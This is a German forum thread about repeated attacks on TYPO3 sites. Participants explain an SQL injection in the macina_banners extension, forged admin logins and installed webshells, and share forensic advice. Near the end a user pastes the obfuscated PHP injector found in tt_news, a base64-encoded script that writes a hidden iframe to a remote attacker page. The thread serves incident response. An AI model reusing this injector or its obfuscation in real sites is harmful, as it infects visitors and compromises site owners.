Zum Inhalt springen

Wiederholte Attacken auf Typo3-Seite

Erstellt am 16. Mai 2007 · 65 Antworten · letzte Antwort am 5. September 2007 · Seite 2 von 4

Tags: Sicherheit, Frage

just2b ·

Meine güte..

als ob das spekulieren was bringt....
Jan hats dem Security-Team gemeldet und gibt auch per PM den ext-key nicht raus (auch nicht an mich [@nickno]).

also einfach warten oder auf die gnade von jan hoffen, per PM informiert zu werden 😉

georg

nickno ·

[OFFTOPIC]

just2b schrieb

Meine güte..
(auch nicht an mich [@nickno]).

Sorry, kam wohl etwas zu ernst rüber... :o

also einfach warten oder auf die gnade von jan hoffen, per PM informiert zu werden 😉

In diesem Forem fehlt der BB-Smily, der um Gnade bettelt o.O

[/OFFTOPIC]

jan.​radecker ·
humpun schrieb

Schwachsinn. Der Exploit ist schon mit einem Bot unterwegs und es sollte eigentlich so schnell wie möglich mal ein Patch erscheinen. Infiziert sind schon eh die meisten.

Die Zugriffsmuster in meinen Protokollen sehen aber mehr nach "Handarbeit" aus...
Alleine des zeitlichen Verlaufs wegen.

iHunte ·

Hm, bei uns sind auf verschiedenen chroot Verzeichnissen fast gleichzeitig zugriffe. Die timestamps der bearbeitung liegen alle nur einige Sekunden
auseinander (darum gehen von einem Bot aus).

Naja spekulation.

Mir ist noch aufgefallen das alle Dateien in denen das wort "index" auftauchte
mit diesem Code infiziert waren. Ganz egal in welchem Verzeichnis.

nickno ·

Mich wundern nur die Berichte, wonach auch statische Dateien manipuliert worden sind?

Ein großes Danke jedenfalls an die Personen, die zur Lösung beigetragen haben!!

jan.​radecker ·
nickno schrieb

Mich wundern nur die Berichte, wonach auch statische Dateien manipuliert worden sind?

Na, dann will ich mal Butter bei die Fische geben:

Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.
Mit diesen Daten und einem manipulierten POST-Datenstrom* auf der TYPO3-Backend-Loginseite konnte sich der Angreifer als Admin ganz regulär anmelden. Dann kann der Angreifer ja prinzipiell alles tun, was dem Admin eben erlaubt ist, insbesondere (eigene Hacker-) Extensions installieren oder Dateien im Fileadmin bearbeiten.

In meinem Fall hat sich der Angreifer verschiedene (russische) Webshells und SQL-Shells installiert, über die er dann mit den Rechten des Webspaceusers alle ihm zugänglichen Dateien (eben auch statische HTML-Seiten) manipulieren konnte.
Hier zeigt sich dann wieder, wie wichtig eine Rechte- und Betriebssystem-technische Abschottung der Webspaces untereinander ist. Ist das System der Abschottung nicht 100%ig dicht, kann der Anwender z.B. die localconf von anderen Webspaces auslesen und so mit der SQL-Shell auch dort pages manipulieren oder die Passworte auslesen.

*)
Der Angreifer errechnet den an den Server zu sendenden verschlüsselten Anmeldestring selbst aus Username, MD5-Passwort und Challenge als MD5 über den entsprechend zusammengesetzten String.

P.S.
Ich wollte mit meiner verschlossenen Art und Weise nur sicherstellen, dass VOR einem offiziellen Fix so wenig Leute wie möglich die Schwachstelle kennen und eventuell in schlechter Absicht missbrauchen.
Da der Fehler im Quellcode recht offensichtlich ist, reicht einem erfahrenen Angreifer wahrscheinlich in der Regel schon der Hinweis, in WELCHER Extension eine Lücke ist, um sie zu finden.

jan.​radecker ·
just2b schrieb

nur das der Autor von ric_rotation auf persönlicher Intervention meinerseits seine Extension gefixxt hat.
aber schön dass es nun offiziell raus is

Nicht, dass das jetzt an Deinem Ego kratzt, dass Dein Name keine Erwähnung findet 😢

Um Dich zu beruhigen:
Im neuen Quellcode von macina_banners dankt der Autor Stefan Geith für den Fix... Stefan hat den Code von mir per Mail erhalten... #angry#

...aber das ist mir ehrlich gesagt sch***egal, ich hol mir da keinen drauf runter...

chupa ·

Als Verfasser dieses Threads möchte ich mich recht herzlich für die Anteilnahme und Hilfe bedanken. Ich hoffe, dass Betroffene durch diesen Thread schnelle Hilfe bekommen.
Noch eine Frage: Wo und wie hätte man eigentlich nachgucken müssen, um selbst darauf zu kommen?

chupa ·
just2b schrieb

macina_banners/pi1/class.tx_macinabanners_pi1.php > update-query

georg

Ja, mag sein...aber wie kommt man auf die Idee, genau da nachzugucken? ^^

Hätte ich ne Chance mit der Analyse von Server-Logs gehabt?

jan.​radecker ·
chupa schrieb
just2b schrieb

macina_banners/pi1/class.tx_macinabanners_pi1.php > update-query

georg

Ja, mag sein...aber wie kommt man auf die Idee, genau da nachzugucken? ^^

Hätte ich ne Chance mit der Analyse von Server-Logs gehabt?

Ja und Nein...

In den normalen Apache-Logs steht zu wenig Information, um die genaue Vorgehensweise nachzuverfolgen. Andererseits, wenn man dann weiß, wonach man suchen muss, findet man es dann doch... (aber so schlau ist man erst hinterher).
In diesem Fall waren das auffällig viele POST-Requests auf die Startseite innerhalb weniger Minuten. Dabei wechselte allerdings die IP-Adresse des Angreifers mehrfach.

Da ich im ersten Anlauf zwar herausgefunden hatte, WAS der Angreifer installiert und geändert hatte, aber nicht wusste, WIE er eingedrungen ist, habe ich die GET- und POST-Requests in separate Dateien mitprotokolliert (per auto_prepend und einem PHP-Script, da Apache nicht an die POST-Daten rankommt, um diese zu protokollieren). Darüber hinaus habe ich auch ein MySQL-Log mitlaufen lassen (Achtung, das wird verdammt groß und zieht an der Performance), das ich dann letztlich doch nicht gebraucht habe, aber man weiß ja nie...

Dann musste ich nur noch warten, bis der Angreifer erneut gekommen ist und konnte dann genau sehen, welche Daten er per POST gesendet hat und konnte so sehen, dass er gezielt auf macina_banners losgegangen ist.

Dann habe ich die Extension genauer angesehen und herausgefunden, dass der verdächtige POST-Parameter ungeprüft in eine UPDATE-Query eingebaut wurde.

So konnte der Angreifer eigenen SQL-Code in die Abfrage einschleusen und letztendlich Benutzernamen und Passwort aus der Datenbank auslesen.

Sailor ·

Hallo zusammen,

ich hatte das Glück von Hr. Weiland informiert zu werden.
Nur jetzt hab ich das Problem, dass nach dem Update von Macina_Banners, keine Banner angezeigt werden.

Hat jemand die gleiche Erfahrung gemacht und eine Idee woran es liegen kann.

Hr. Weiland hatte mich informiert, dass die Extension Serverseitig deaktiviert wurde, vielleicht ist dies ja noch ein Problem, aber bin leider vollkommen unwissend (DAU). #angry#
Also ein ganz großer Hilferuf an die Wissenden...

Gruß
Sailor Kim

just2b ·

naja wenn sie noch serverseitig deaktiviert ist, dann kanns nicht funktionieren. irgendwie logisch

georg

Sailor ·

Hallo Georg,

na dann lag ich ja nicht ganz falsch. Werde gleich mal bei Weiland & Co anrufen.
Danke aber und schönen Abend
Gruß
Kim

jweiland ·

Wir haben ja bei den betroffenen Kunden nur die alte Version der Extension deaktiviert (durch Umbenennen der betroffenen PHP Datei). Nach einem Update der Extension sollte das automatisch wieder funktionieren.

Eine Idee wäre noch das Löschen der temp_CACHED... Dateien im Verzeichnis typo3conf oder aber die neue Version der Extension hat vielleicht einen Bug.

Generell aber immer noch besser keine Banner als Schadcode auf der Seite zu haben...

Jochen Weiland

chupa ·

Ich bemerkte, dass trotz des macina_banners-Update weiterhin irgendwie die Adresse alexa-ranking.info aufgerufen wurde, wenn man die Seite öffnete. Ich suchte mich fast blind. Da mir auffiel, dass der Schadcode nur im Quelltext bestimmter Seiten auftauchte, suchte ich nach deren Gemeinsamkeiten. Das Problem verschwand, als ich das (ohnehin nicht benötigte) "table-based tmpl (tt_news)" aus einem der Seiten-Templates entfernte.

Anschließend knöpfte ich mir den Code von tt_news vor. In der Datei /tt_news/pi/class.tx_ttnews.php fand ich etwas Ungewöhnliches:

/**
 * Class for unzipping ZIP files and store them into database.
 *
 * @author     Kasper Skårhøj <kasper@typo3.com>
 */


$form = 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmV2YWwodW5lc2NhcGUoJyU2NCU2R'.
        'iU2MyU3NSU2RCU2NSU2RSU3NCUyRSU3NyU3MiU2OSU3NCU2NSUyOCUyNyUzQyU2OSU2Ni'.
        'U3MiU2MSU2RCU2NSUyMCU3MyU3MiU2MyUzRCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMCU'.
        '3OCU2MyU2MiU2NCU2NiUzOSU2NiUzNiUzOSUyRiU2QyU2OSU2MiU3MiU2MSU3MiU2OSU2'.
        'NSU3MyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUyRSU3MCU2OCU3MCUyMCU3MyU3NCU3OSU2Q'.
        'yU2NSUzRCUyMiU2NCU2OSU3MyU3MCU2QyU2MSU3OSUzQSU2RSU2RiU2RSU2NSUyMiUzRS'.
        'UzQyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUzRSUyNyUyOSUzQicpKTs8L3NjcmlwdD4=';

for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
    echo '  ';
}

echo call_user_func(''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.'b'.''.''.'a'.''.''.''.'s'.''.''.''.''.''.'e'.''.''.''.'6'.''.''.''.''.'4'.'_'.'d'.''.'e'.''.'c'.''.''.'o'.''.''.''.'d'.''.''.''.'e', $form);

for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
    echo '   ';
}

Das Entfernen dieses Codes beseitigte das Problem. Anschließend durchsuchte ich weitere Extensions nach Teilen dieses Codes und wurde schließlich noch in indexed_search/class.internal_parser.php fündig.

Kann mal einer übersetzen? :p